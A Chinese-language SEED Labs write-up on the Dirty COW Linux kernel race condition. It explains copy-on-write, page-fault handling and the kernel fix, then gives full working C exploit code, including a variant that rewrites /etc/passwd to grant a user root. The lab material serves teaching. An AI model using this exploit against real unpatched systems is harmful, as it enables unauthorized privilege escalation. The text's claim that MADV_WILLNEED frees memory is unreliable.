《脏牛(Dirty COW)漏洞攻击实验》
一:实验目的
“Dirty COW” 是竞争条件漏洞的一个例子。自2007年9月开始,该漏洞便存在于Linux内核,于2016年10月被发现。漏洞影响了所有基于Linux的操作系统,包括Android,造成了严重后果。漏洞存在于Linux内核内部的copy on write代码中。利用此漏洞,攻击者可以修改任何受保护的文件,进而获得root权限。
在unbuntu16.04之后的版本中,漏洞已经被修复。可以下载seedubuntu12.04虚拟机,复现漏洞并探究其原理。
*本次实验基于 SEED Labs 的 Dirty-COW Attack Lab 部分:https://seedsecuritylabs.org/Labs_20.04/Software/Dirty_
COW/
二:实验步骤与结果
漏洞原理:
概述:
该漏洞是Linux的一个本地提权漏洞,发现者是Phil Oester,影响>=2.6.22的所有Linux内核版本,修复时间是2016年10月18号。该漏洞是 Linux Kernel 中的条件竞争漏洞,攻击者可以利用 Linux kernel 中的 COW(Copy-on-Write)机制存在的逻辑漏洞,完成对文件的越权读写。
COW机制(Copy-on-Write)
COW是指在一个进程通过 fork() 系统调用创建子进程时,并不会直接将整个父进程地址空间的所有内容都复制一份分配给子进程,而是基于一种更高效的思想:父进程与子进程共享所有的页框,只有当任意一方尝试修改某个页框的内容时,内核才会为其分配一个新的页框,用于复制原页框内容。操作系统以此大幅度减少系统的开销,达到性能优化的效果。
Linux内存管理
在linux操作系统中,CPU在执行一个进程的时候,都会访问内存。但CPU并不是直接访问物理内存,而是通过虚拟地址来间接的访问物理内存。虚拟地址空间,是操作系统为每一个正在执行的进程分配的一个逻辑地址,在32位机上,其范围是0 ~ 4G。其中内核占用1G,用户进程占用3G,操作系统通过将虚拟地址空间和物理内存地址之间建立映射关系,让CPU间接的访问物理内存地址。
通常将虚拟地址空间以512Byte ~ 8K分页。将物理地址按照同样的大小,分成页框或者叫块。操作系统会维护一张表,这张表上记录了页面和页框的映射关系,称为页表。
操作系统会为每一个进程创建一份页表,当一个进程分配到cpu运行时,调度程序会将页表加载进来,每一个进程的页表是保存到物理内存中的,CPU有一个寄存器叫做page-table base register(PTBR)用来存放页表的起始地址。切换进程时只需要改变这个寄存器的值就可以了。
Linux通过task_struct
结构体(PCB)表示进程,task_struct
结构体中有唯一的成员变量mm_struct
,存储了进程的虚拟内存相关信息。mm_struct
结构体中有一个vm_area_struct
(VMAs)结构体链表,记录了进程的内存分段信息等。包括某块内存在虚拟内存中的起始地址、结束地址、RWX状态、一些控制标志等。
上图是
t
a
s
k
_
s
t
r
u
c
t
→
m
m
_
s
t
r
u
c
t
→
V
M
A
s
→
虚拟内存
task\_struct\to mm\_struct \to VMAs \to {虚拟内存}
task_struct→mm_struct→VMAs→虚拟内存 的映射关系:
如下图,一个vmas记录了连续的一片内存空间(连续的页):
但是我们注意到,vma记录的页面中,一些页面在页表中并不存在。这是因为内核是惰性的,内核创建vma块后并不会建立页表,但是直到需要读或写这片内存时,才会通过缺页中断将数据从磁盘拷贝到vma对应的页面上,并建立页表项。
mmap函数
定义:
void mmap(void start, size_t length, int prot, int flags, int fd, off_t offsize);
参数解释:
-
**
start
**指向欲对应的内存起始地址,通常设为NULL,代表让系统自动选定地址,对应成功后该地址会返回; -
**
length
**代表要映射的长度, -
**
prot
**代表映射区域的保护方式,有下列选项:PROT_EXEC
—映射区域可被执行;PROT_READ
映射区域可被读取;PROT_WRITE
映射区域可被写入;PROT_NONE
映射区域不能存取 -
**
flags
**指定映射对象的类型,常用有如下类型:MAP_SHARED
: 共享内存方式进行映射,允许其他进程访问mmap的内存。MAP_PRIVATE
: 与共享映射相反,mmap产生一个进程独有的内存空间,对映射区域的写入操作,会触发写时复制 (copy on write),且不会写回原文件。MAP_ANONYMOUS
: 匿名映射,映射区不与任何文件关联。MAP_POPULATE
: 提前为映射出来的内存建立好页表,可以减少用户访问过程中出发缺页错误的次数,只能用于匿名映射。
函数作用:
mmap函数将一个文件或者设备的内容映射到内存当中,用户就可以通过一些内存操作方式(如memcpy
、memset
)对文件或者设备进行直接的操作,这种操作一般来说可以减少IO的开销。映射内存上修改的数据不会马上回写到文件中,需要调用msync
或者munmap
函数,修改后的数据才会同步到文件当中。
函数执行过程:
mmap函数通过sys_mmap()
函数进入内核,先后处理页对齐、判断是否是匿名影射、判断是否需要提前建立页表,和一些安全检查后,进入函数do_mmap_pgof()
:
/*do_mmap_pgof linux 3.10.0.514内核,虚拟机中是3.5.0版本,没找到对应源码*/
unsigned long do_mmap_pgoff()
{
{......}
// 获取一段当前进程未被使用的虚拟地址空间,并返回其起始地址
addr = get_unmapped_area(...);
{......}
// 检查flag的参数设置,将mmap的flag转换为vm_area_struct的flag
vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
{......}
if (file) {
switch (flags & MAP_TYPE) {
case MAP_SHARED: // 共享映射
{......}
case MAP_PRIVATE: // 私有映射,设置flag
{......}
vm_flags &= ~VM_MAYEXEC; //设置了MAP_PRIVATE下的VMA的参数
{......}
//mmap_region函数完成映射过程
addr = mmap_region(...);
{......}
}
最后设置完vm_flags
后,进入mmap_region
函数。mmap_region
函数主要完成映射过程,即创建vma结构并加入mm_struct
中,但是如果没有设置flag=MAP_POPULATE
(提前建立页表的标志位),是不会建立页表项的,也就是说,当进程按照vma记录的地址去寻找内存数据时,会发生错误,触发缺页异常(page_fault)。
page_fault及其处理
在 CPU 中使用 MMU(Memory Management Unit,内存管理单元)进行虚拟内存与物理内存间的映射,而并非所有的虚拟内存页都有着对应的物理内存页框, 当进程访问虚拟地址时,如果该地址在物理内存中并不存在,MMU便会产生**「缺页异常」**(page fault)
page_fault可能有多种原因:
- 访问地址不在虚拟地址空间
- 访问地址在虚拟地址空间中,但没有访问权限
- 访问地址在虚拟地址空间中,但没有与物理地址间建立映射关系
linux 内核关于page fault的处理是通过一系列系统调用函数实现的:
_
_
d
o
_
p
a
g
e
_
f
a
u
l
t
(
)
→
h
a
n
d
l
e
_
m
m
_
f
a
u
l
t
(
)
→
h
a
n
d
l
e
_
p
t
e
_
f
a
u
l
t
(
)
→
d
o
_
f
a
u
l
t
(
)
→
{
d
o
_
r
e
a
d
_
f
a
u
l
t
(
)
d
o
_
s
h
a
r
e
d
_
f
a
u
l
t
(
)
d
o
_
c
o
w
_
f
a
u
l
t
(
)
\_\_do\_page\_fault() \\ \qquad\qquad \to \quad handle\_mm\_fault() \\ \qquad\qquad\qquad \to \quad handle\_pte\_fault() \\ \qquad\qquad \to \quad do\_fault() \\ \qquad\qquad\qquad\qquad\qquad\qquad \to \quad \begin{cases} do\_read\_fault() \\ do\_shared\_fault() \\ do\_cow\_fault() \end{cases} \\
__do_page_fault()→handle_mm_fault()→handle_pte_fault()→do_fault()→⎩
⎨
⎧do_read_fault()do_shared_fault()do_cow_fault()
顶层函数__do_page_fault()
会检查多种异常原因,比如缺页异常的地址在内核空间还是用户空间,是内核态还是用户态触发的异常等等情况,如果没有异常,则进入handle_mm_fault()
函数。handle_mm_fault()
函数为发生page_fault的地址分配各级页表目录(linux使用的是4级页表
p
g
d
→
p
u
d
→
p
m
d
→
p
t
e
pgd\to pud\to pmd\to pte
pgd→pud→pmd→pte),然后进入handle_pte_fault()
函数。
handle_pte_fault()
函数
函数从上层函数得到了缺页异常的pte(页表项),然后做多层检查:
/* handle_pte_fault */
static int handle_pte_fault(...)
{
......
//pte所指向的物理地址(*pte)不存在
if (!pte_present(entry))
{
if (pte_none(entry)) //pte中内容为空,表示进程第一次访问该页
{
if (vma_is_anonymous(vma))//vma为匿名区域,分配物理页框,初始化为全0
return do_anonymous_page(...);
else
return do_fault(...);//非匿名区域,分配物理页框
}
return do_swap_page() //说明该页之前存在于主存中,但是被换出了
}
//pte所指向的物理地址(*pte)存在,即该页在物理内存中
....
if (flags & FAULT_FLAG_WRITE)//如果存在 FAULT_FLAG_WRITE 标志位,表示缺页异常由写操作引起
{
if (!pte_write(entry)) //对应的页不可写
return do_wp_page(); //进行写时复制,即将内容写到副本页面上
entry = pte_mkdirty(entry); //将该页【标脏】
}
......
}
上述流程总结如下:
- 如果该pte不在物理内存中,
- 如果pte为空,说明进程第一次访问该页面
- 如果vma属性是匿名映射(没有真实的磁盘文件与该地址对应)
- 如果vma不是匿名,说明是文件映射,进入
do_fault()
函数
- 如果pte不为空,说明该页此前访问过,但是被换出了,只需要再换入即可
- 如果pte为空,说明进程第一次访问该页面
- 如果该pte在物理内存中,说明此次page_fault不是页面缺失引起,检查是否由写操作引起
- 页面不可写,进入
do_wp_page()
进行COW操作 - 页面可写,标记dirty位。
- 页面不可写,进入
do_fault()
函数
逻辑比较简单,主要检查各种标志位,根据不同的情况调用不同的函数:
/* do_fault */
static int do_fault(...)
{
......
if (!vma->vm_ops->fault)
return VM_FAULT_SIGBUS;
if (!(flags & FAULT_FLAG_WRITE))//非写操作引起的缺页异常(读操作)
return do_read_fault(m...);
if (!(vma->vm_flags & VM_SHARED))//非访问共享内存(私有文件映射)引起的缺页异常(写操作)
return do_cow_fault(...);//进行写时复制
return do_shared_fault(...);//访问共享内存引起的缺页异常
......
}
这里我们关注的是COW处理函数:do_cow_fault()
:
do_cow_fault()
:缺页的COW处理函数
/* do_cow_fault */
static int do_cow_fault(...)
{
...
new_page = alloc_page_vma(...);//分配新物理页
...
ret = __do_fault(...);//查找原始映射页
...
if (fault_page)
copy_user_highpage(...);//拷贝fault_page内容到new_page
...
do_set_pte(vma, address, new_page, pte, true, true); //设置pte表项
....
}
可以看到,do_cow_fault()
函数找到原映射页面,然后再申请新页面拷贝一份副本,注意原VMA是只读的,此时得到的副本页也是只读的,一次page_fault处理到此结束。
do_wp_fault()
:不缺页的COW处理函数
处理完缺页后,当进程再次尝试写内存,又会遇到page_fault,这时不是因为缺页了,如果是因为没有写权限导致的page_fault,函数就会执行hadle_mm_fault()
到hadle_pte_fault()
然后进入另一条分支do_wp_fault()
函数。
/* do_wp_fault */
static int do_wp_page(...)
{
if (!old_page) //当old_page是NULL时
...
if (PageAnon(old_page) && !PageKsm(old_page)) //先处理匿名页面
{
...
//调用 reuse_swap_page() 判断使用该页的是否只有一个进程,若是的话就直接重用该页
if (reuse_swap_page(old_page)) {
...
return wp_page_reuse(...);//一般的cow流程会走到这里,重用由do_cow_fault()分配好的内存页副本
}
...
}
}
函数的核心思想是尝试重用内存页,第一次faultin_page()
时进入do_cow_fault()
, 就已经专门复制了一页, 因此会直接进入wp_page_reuse()
重用这个副本页。
wp_page_reuse()
函数
wp_page_reuse()
主要就是设置PTE, 然后返回VM_FAULT_WRITE。
static inline int wp_page_reuse(...)
{
...
//设置pte的dirty位,如果VMA是可写的,还会给pte标记可写
entry = maybe_mkwrite(pte_mkwrite(entry),vma);
...
return VM_FAULT_WRITE; //这个标志表示已经做好了COW,这个页面可以写入
}
我们注意到,如果VMA是可写的,还会给pte标记可写,但是如果VMA是不可写的,对应COW产生的副本页也会被标记不可写,但是COW分配的副本页,肯定是"可写的",在后续访问该页时,可能会出现逻辑冲突,而linux的为了解决冲突,采取了不明智的做法,最终导致了漏洞产生。
madvice()
函数
定义:
#include <sys/mman.h>
int madvise(void *addr, size_t length, int advice);
函数作用:
madvice
函数告诉内核,[addr~addr+len]这一片内存在接下来的使用状况,以便内核进行内存管理操作。
参数advice有很多预设值,见madvise(2) - Linux manual page :
当参数设置为MADV_WILLNEED
时,内核将释放掉这一块内存以节省空间,相应的页表项也会被置空。
漏洞产生过程
漏洞POC(POC是指可以验证漏洞存在的一段代码):
Main:
fd = open(filename, O_RDONLY)
fstat(fd, &st)
map = mmap(NULL, st.st_size , PROT_READ, MAP_PRIVATE, fd, 0)
start Thread1
start Thread2
Thread1:
f = open("/proc/self/mem", O_RDWR);
while (1):
lseek(f, map, SEEK_SET);
write(f, shellcode, strlen(shellcode));
Thread2:
while (1):
madvise(map, 100, MADV_DONTNEED);
-
首先主线程main使用mmap函数将文件映射到虚拟内存上,过程中生成vma结构体,且vma是vm_read(只读)的,注意此时没有页表项还未建立;
-
随后调用write线程,我们关注一下write函数的执行流:
在get_user_page()
中,有关键的寻页函数follow_page_mask()
和页错误处理函数faultin_page()
,而且如果follow_page_mask()
一直返回NULL,即寻页失败,就会陷入retry的循环,直到出现程序错误或者返回一个正确页面。long __get_user_pages(...) { ... retry: ... page = follow_page_mask(...); //获取page if(!page) //获取失败 { ... ret = faultin_page(..); //处理page_fault ... switch(ret) case 0: goto retry; ... } }
这是进程第一次访问该内存页,进入
follow_page_mask()
,此时映射内存只有vma结构,没有页表项,所以页缺失触发page_fault,所以follow_page_mask()
函数返回NULL,然后就会进入faultin_page()
处理page_fault
。 -
第一次处理page_fault的流程如下:
-
faultin_page()
从上层函数得到一个参数:flags,参数内容主要是关于大小,读写权限等,我们是想写入的,因此flags会有一个FOLL_WRITE
标志,即要求找到可写页面。faultin_page()
代码如下:/* faultin_page 函数会根据传入的flags参数,设置fault_flags参数以供下一步的函数使用 */ static int faultin_page(...,unsigned int *flags,...) { ...... if (*flags & FOLL_WRITE)//因为我们要写入该页,所以该标志位存在 fault_flags |= FAULT_FLAG_WRITE; ... ret = handle_mm_fault(mm, vma, address, fault_flags);//分配内存页 ...... //为了结束上层函数的retry循环,解决page_fault,在确定已经完成COW操作后(通过VM_FAULT_WRITE标志确定),会解除FOLL_WRITE(写请求)标志 if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) *flags &= ~FOLL_WRITE; return 0; }
-
设置完标志flag后,进入
handle_mm_fault()
,分配各级页表项,然后调用handle_pte_fault()
; -
handle_pte_fault()
检查后发现此时vma地址是非匿名映射,但pte为空,所以会调用do_fault()
; -
do_fault()
发现需要写入私有文件映射的内存,所以会调用do_cow_fault()
进行COW; -
do_cow_fault()
会分配一个新页面,生成文件映射内存的副本页,并建立页表项。注意,根据前面的分析,的VMA属性是只读的,因此COW产生pte页属性也是只读的; -
第一次
faultin_page()
结束,回到get_user_page()
的retry标签。
-
-
第二次进入
follow_page_mask()
,此时已经分配了属性为不可写的COW页,但是flags中有FOLL_WRITE
标志,因此本次follow_page_mask()
仍然失败,返回NULL,再次进入faultin_page()
。 -
由于要进行写入操作, 并且对应页存在,因此
handle_pte_fault()
会调用do_wp_page()
进行写时复制,如果发现是匿名页,并且此页只有一个引用,那么会调用wp_page_reuse()
直接重用这个页。第一次faultin_page()
时进入do_cow_fault()
已经分配了副本页,因此会直接进入wp_page_reuse()
重用这个页,并返回VM_FAULT_WRITE。 -
返回到
faultin_page()
中时,由于返回了VM_FAULT_WRITE标志,表示已经完成了COW页的分配。但是注意到此时COW页时只读的,如果我们再次进入follow_page_mask()
,那么写和只读会冲突,又会返回NULL,这样就会陷入retry的循环。linux为了防止该冲突,选择在
faultin_page()
函数的最后,检查VM_FAULT_WRITE
标志以确定完成了cow操作,然后去掉了flags里的FOLL_WRITE
标志。第二次页错误处理结束,进入retry循环。
-
第三次进入
follow_page_mask()
,由于之前去掉了FOLL_WRITE标志,因此不会检查PTE有没有写入权限,本次返回值不是NULL,成功获得COW页。 -
如果我们在第二次
faultin_page()
函数去掉flags里的FOLL_WRITE
标志之后,通过竞争条件,执行madvice函数,就可以清空页表项(在get_user_page()
里,有一步cond_resched()
线程调度操作)。线程调度结束,返回write线程,又会重新进入follow_page_mask()
然后因为pte被清空导致缺页,函数返回NULL,再次进入faultin_page()
,然后会一直运行到do_fault()
,此时不再要求写入权限,所以会执行do_read_fault()
函数,建立页表项,随后回到retry。 -
第四次进入
follow_page_mask()
,不要求写权限,成功返回page,没有经过COW,所以返回的是文件的映射内存页,而且是标dirty的,因为对该页的修改会写回原文件中。此时虽然该映射页只读,但是内核还是可以强制写入,完成越权写操作。
漏洞的修复
漏洞的修复并不复杂,linux在处理COW时有明显的逻辑漏洞,分配的COW页是只读的,但是我们是想写,两者冲突会产生page_fault,linux选择去掉 “要求写权限(FOLL_WRITE)” 的标志来解决冲突,因为系统通过检查VM_FAULT_WRITE,自信自己完成了cow分配页的操作。
事实上这并不可靠,修复方案就是不去掉FOLL_WRITE标志,而是添加一个FOLL_COW标志,来表示获取了一个COW页,即使竞争条件破坏了一次COW,但是因为FOLL_WRITE标志还在,所以会重头开始分配一个COW页,从而保证了过程的完整。
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
- *flags &= ~FOLL_WRITE; //减号代表去掉
+ *flags |= FOLL_COW; //加号代表增加
实验过程:
Task1: Modify a Dummy Read-Only File
2.1 Create a Dummy File
在root根目录下,创建一个文件,对普通用户只读。为了防止系统关键文件被修改,所以先用自己创建的练练手。
可以看到,普通用户无法修改zzz
文件的内容,task1的目标就是将zzz
文件中的内容替换掉,这里我们尝试替换掉eeeeeeee
。
2.2 Set Up Threads
-
测试脚本:
/*cow_attack.c (the main thread) */ #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <sys/stat.h> #include <string.h> void *map; void *writeThread(void *arg) { char *content= "attack test"; //攻击测试 替换的内容 off_t offset = (off_t) arg; int f=open("/proc/self/mem", O_RDWR); while(1) { // Move the file pointer to the corresponding position. lseek(f, offset, SEEK_SET); // Write to the memory. write(f, content, strlen(content)); } } /* cow_attack.c (the madvise thread) */ void *madviseThread(void *arg) { int file_size = (int) arg; while(1){ madvise(map, file_size, MADV_DONTNEED); //竞争条件系统调用 } } int main(int argc, char *argv[]) { pthread_t pth1,pth2; struct stat st; int file_size; // Open the target file in the read-only mode. int f=open("/zzz", O_RDONLY); // Map the file to COW memory using MAP_PRIVATE. fstat(f, &st); file_size = st.st_size; map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0); // Find the position of the target area char *position = strstr(map, "eeeeeeee"); //➀ // We have to do the attack using two threads. pthread_create(&pth1, NULL, madviseThread, (void *)file_size); //➁ pthread_create(&pth2, NULL, writeThread, position); //➂ // Wait for the threads to finish. pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
-
测试结果:
可以看到,我们成功将只读文件/zzz
中的内容替换。
Task 2: Modify the Password File to Gain the Root Privilege
任务目的
通过修改/etc/passwd
中用户的uid和组id来实现提权。
实验过程
- 创建新用户
charlie
:
-
在普通用户下修改攻击脚本:
/*cow_attack.c (the main thread) */ #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <sys/stat.h> #include <string.h> void *map; void *writeThread(void *arg) { //改写passwd文件实现提权 char *content= "charlie:x:0:0:,,,,,,,,,,,,,,,,,,:/root:/bin/bash"; off_t offset = (off_t) arg; int f=open("/proc/self/mem", O_RDWR); while(1) { // Move the file pointer to the corresponding position. lseek(f, offset, SEEK_SET); // Write to the memory. write(f, content, strlen(content)); } } /* cow_attack.c (the madvise thread) */ void *madviseThread(void *arg) { int file_size = (int) arg; while(1){ madvise(map, file_size, MADV_DONTNEED); } } int main(int argc, char *argv[]) { pthread_t pth1,pth2; struct stat st; int file_size; // Open the target file in the read-only mode. int f=open("/etc/passwd", O_RDONLY); // Map the file to COW memory using MAP_PRIVATE. fstat(f, &st); file_size = st.st_size; map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0); // Find the position of the target area char *position = strstr(map, "charlie"); //➀ // We have to do the attack using two threads. pthread_create(&pth1, NULL, madviseThread, (void *)file_size); //➁ pthread_create(&pth2, NULL, writeThread, position); //➂ // Wait for the threads to finish. pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
-
攻击结果:
可以看到运行几秒后,切换charlie
已经是root权限,/etc/passwd
文件已经被篡改,漏洞利用成功。